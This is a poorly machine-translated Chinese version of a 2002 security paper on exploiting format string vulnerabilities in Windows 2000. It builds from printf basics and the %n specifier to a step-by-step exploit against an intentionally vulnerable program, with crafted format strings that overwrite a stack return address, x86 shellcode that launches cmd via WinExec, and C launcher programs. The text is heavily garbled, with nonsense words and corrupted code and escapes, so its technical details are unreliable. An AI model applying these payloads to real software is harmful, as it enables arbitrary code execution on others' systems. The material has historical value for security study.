Format string attack in Windows 2000
Creation time: 2002-02-22 Article properties: Translation article Submitted: Refdom_at_263.net) Translation: RefDomem_263.net) Translation: RefDomemail: Refdom@263.nethomepage: www.cnhonker.net2002-2-22 Original Name: "Windows 2000 Format String Vulnerabilities" original author: David Litchfield original download: http: //www.nextgenss.com/papers/win32format.doc even if only a little C programming language and who will printf () function, in fact, the C language textbooks usually the first program That is, "Hello, World!", Kernighan and Ritchie triggered in "The C Programming Language". #include void main (void) {printf ("/ nhello, world! / n / n");} This is not finished, in the C language, when compiling and running this program to print "Hello , World! "Is not a simple to output strings to the screen. Similar programs fprintf (), vprintf (), and sprintf (), you want to add "f" after print, which is actually print format. The format section allows programmers to control the style of displaying text. You can display the value or data by replacing a special format character, for example, to display the value of the integer "DVAL", you can use the following formatted character: Printf ("THE VALUE IS% D", DVAL); Print At the time,% d is replaced by the value of DVAL. If the programmer wants to display the same value with hexadecimal: Printf ("The value in decimal IS% D and in Hexadecimal IS% X", DVAL, DVAL); Here% D indicates a decimal DVAL value,% x represents 16 The value of the credited DVAL. Here is a centralized formatted character:% C single-character format% D decimal integer (pre ant,% E,% E index Float or double% F decimal Float or double% i integer (LIKE% D)% o Okage Integer% P Address Pointer% S String% X,% X Hexadecimal Integer Of course, the function is not limited to how to control the displayed data type, but also control the displayed width and queue. A format character% N is not listed above because there is special purpose, but it is very serious. % N is used to record the number of characters printed into a variable.
It is also used for statistical formatted bytes, which of course requires a space to store this number, so the program needs to allocate memory for this, such as the following code: 1. #Include 2. Int main () 3 . {4. INT BYTES_FORMATTED = 0; 5. Char buffer [28] = "AbcdefghijklmnopqrStuvwxyz"; 6. Printf ("%. 20x% n", buffer, & bytes_formatted; 7. Printf ("/ nthe number of bytes formatted in The Previous Printf Statement WAS% D / N ", bytes_formatted; 8. Return 0; 9.} The output is displayed for: 0000000000000012ff64 The number of bytes formatted in the prep in Printf Statement WAS 20 We have stated in the fourth line an int Type variables Bytes_formatted, in the sixth line, formatted characters indicate that 20 characters should be formatted by hexadecimal ("% .20x"), and the% N is written to the value 20 into the Bytes_formatted variable. This means we wrote a value to another memory space. Now we do not discuss the compiler's write value or write address, and discuss that the defect (overflow) by causing these values in a way, if such successful, the execution control of the program may be obtained. Overflow may occur in the programmer attempt to pass a string to a format function that uses the formatted character. Refer to the program below. #include void main (int Argc, char * argv []) {INT count = 1; while (argc> 1) {printf (argv [count]); printf (""); count ; Compile after compiling, running and displaying as follows: prompt: myecho hello helloprompt: myecho this is some teacher text this is some weed in - or does it? try: prompt: myecho% x% x 112ffc0 noted myecho% x% x, did not print it according to the original meaning, but the number of hexadecimal numbers? The reason is because these are formatted characters, which are passed to the Printf () function but does not use functions to explain these characters, and is considered a formatted character. The safe way should be Printf ("% s", argv [count]); instead: Printf (argv [count]); how an attacker can use? Use the "% N" formatted characters to write anything to the memory! If implemented, the execution of the program can be controlled. For example, on Intel, you can rewrite the address in the stack and point to their attack code, which can perform any programs for any purpose.
This formatted character vulnerability is used to consider using functions, operating systems, and processor types. Formatted character vulnerability under Windows 2000 / Intel Considering the following code: #include int main (int Argc, char * argv []) {charffer [512] = ""; strncpy (buffer) , Argv [1], 500); Printf (Buffer); Return 0;} This program copys the first parameter to a buffer, then simply pass the buffer to Printf, there is a problem with this line: Printf Buffer; because we can provide a formatted character as the first parameter, it is passed to Printf (), assuming that this program is compiled and called PrintF.exe. What we need to do now is to try to rewrite the return address of the function in the stack with the address we provide, and the address we provide can point to the attack code. To achieve this, we need to get the exact byte number of printed prints to match the address we need to use. For example, if our attack code is at address 0x0012ff40, then we have to let PrintF expression format 0x0012FF40 bytes, our formatted strings can be: c: /> printf% .622496x% .622496x% N This allows 124,4992 bytes to format printing by Printf expression, and this number of hexadecimal is 0x0012FF40. But it is not perfect, we need to put the Exploit code in turn, which needs to occupy the number of bytes. Therefore, we have to generate the shell, which requires up to 40 bytes of Exploit Code in Windows 2000, so you need to modify our formatted string to put our code to subtract 40 in 622496. Becomes: c: /> printf AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA% .622496x% .622456x% n in this case, we simply use the character "A" substitute our exploit code. It is now possible to run it but may have an illegal access problem because the program attempts to write 0x41414141 may not be initialized. When this problem occurs, as seen, unhappy line is: Mov DWORD PTR [EAX], ECX it tries to move (MOV) ECX (ETC is 0x0012FF40, that is, we need to find the address) to EAX (Now is the 0x41414141) address, since 0x41414141 This area has not been initialized, there is an access error. At the same time, we debug and find an attack code string (we just assume that their address is 0x0012FF40), but they are not in the 0x0012FF40, but in address 0x0012fd80. It is not far from the phase difference, but it is necessary to use it very accurate. Therefore, you need to modify those format strings again. Prior to this, we were made by looking for a suitable goal (the return address that needs to be rewritten). We have found a similar target, address 0x0012FD54, which stored the address of 0x00401077, so we can do it like this.
The purpose to be reached now is to rewrite the EI P Address 0x0012FD80, this address is the address of the attack code. If you reach this, push this return address to the stack, the process will start to perform our attack code. How can I rewrite the address 0x0012fd54, and what we have just doing has been trying to override the address 0x41414141? Ok, this is a clue. % N formatted characters to point to the pointer flag somewhere in the string to the end of the string. What we have to do is to change the% n from a certain location in our formatted string to the end of the string, you need to use the added more% x to complete, we use BBBB to mark our characters Skewer end. c: /> printf AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA% x% x% x% x% x% x% x% x% x% x% x% .622496x% .622456x% nBBBB This is the program tries to write the address 0x78257825, we convert The decimal number found that 0x78 is only lower-written "x", 0x25 is "%", so it is seen that now is written or "% x% x% x% x", so we continue to test, increase more Many% x: c: /> printf aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa% x% x% x% x% x% x% x% x% x% x% x% x% x% x% X% x% x% x% x% x% x% x% x% .622496x% .622456x% nbbbb is just now, now trying to write the address is 0x42424242 (that is, bbbb), we put BBBB instead of attack The return position of the code 0x0012fd54. However, we can only write 0x12 or 0xFD with ASCII very simply, so we need to write another program to help us write these values. Just now, I used% x to reach the address 0x0012fd80 that we need to rewrite, now this value becomes 0x00130019 (Refdom Note: because there are many% x, so the size of% N is also increased), we need to write less 665 bytes, changed the 622456 to 621791, our procedure is: #include int main () {char buffer [500] = "Printf Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa% x% x% x% x% x% X% x% x% x% x% x% x% x% x% x% x% x% x% x% x% x% x% x% x% x% .622496x%. 621791x% N / X54 / XFD / X12 "; System (buffer); Return 0;} There is a new illegal access problem after compiling operation: the instruction at 0x0012FF90 references memory at 0x00000030. Note that instructions at 0x0012FF90 (this is a stack address), and it is obvious that our process is trying to perform code in the stack, our formatted string Exploit works! We have successfully renovated the return address with our address and will lead the program. Now, we need to put the Exploit code in, just we just replace it with AAA.
We do a determination, the first four alternatives becomes a checkpoint A: #include int main () {char buffer [500] = "printf"; charbuffer2 [] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA% x% x% X% x% x% x% x% x% x% x% x% x% x% x% x% x% x% x% x% x% x% x% x% x% X% .622496X% .621791x% N / X54 / XFD / X12 "; STRCAT (Buffer," / XCC / XCC / XCC / XCC "); strcat (buffer, buffer2); system (buffer); Return 0;} Note: The code in the code is less than the previous four A, with the back / XCC / XCC / XCC / XCC instead) When running to this checkpoint, we return to the code. It is now able to confirm that we have been able to get and control the execution of the program, then put our Exploit code.
Suppose our shell code is below: push eBP // Procedure Prologue - Off // Procedure ProLogue - Off // Procedure ProLogue - Off // Getededed XOR EDI, EDI // Get Some Nulls Push Edi // Push THEM ONTO THE STACK MOV BYTE PTR [EBP-04H], 63H // Write 'C' of cmd MOV BYTE PTR [EBP-03H], 6DH // Write 'm' of cmd MOV BYTE PTR [EBP-02H], 64H // Write 'D 'of cmd push edi // push nulls again (2nd param for winexec ()) MOV BYTE PTR [EBP-08H], 03H // Turn IT INTO SW_MAXIMIMIMIZE LEA EAX, [EBP-04H] // Load Address of CMD INTO EAX Push Eax // Push It Onto Stack (1st Param for Winexec ()) MOV EAX, 0x77E9B50E // Move Address of Winexec () INTO EAX CALL EAX // <---- Call IT This, our program is: # INCLUDE int main () {char buffer [500] = "printf"; char exchange_code [] = "," / x55 / X8B / XEC / X33 / XFF / X57 / XC6 / X45 / XFC / X63 / XC6 / X45 / XFD / XFE / X64 / X57 / XC6 / X45 / XF8 / X01 / X8D / X45 / XFC / X50 / xb8 / x0e / xb5 / xb8 / x77 / xff / xd0 / xcc "; char buffer2 [] =" AAAAA% X% X% X% x% x% x% x% x% x% x% X% x% x% x% x% x% x% x% x% x% x% x% x% x% x% x% .622496x% .621791x% N / X54 / XFD / X12 "; strcat (Buffer, Exploit_code); STRCAT (Buffer, Buffer2); System (Buffer); Return 0;} After compiling, the new Shell runs. This is a simple way to use the formatted character vulnerability in Win2000. The whole idea is: We format a string of this size with the Exploit code address location and rewrite the return address of the program in the stack with this value, so that when the subscriber is returned, it is not returned to the original address, but in contrast, but The address we replace continues to execute the program. Using the PrintF class function is not necessarily the same as this example.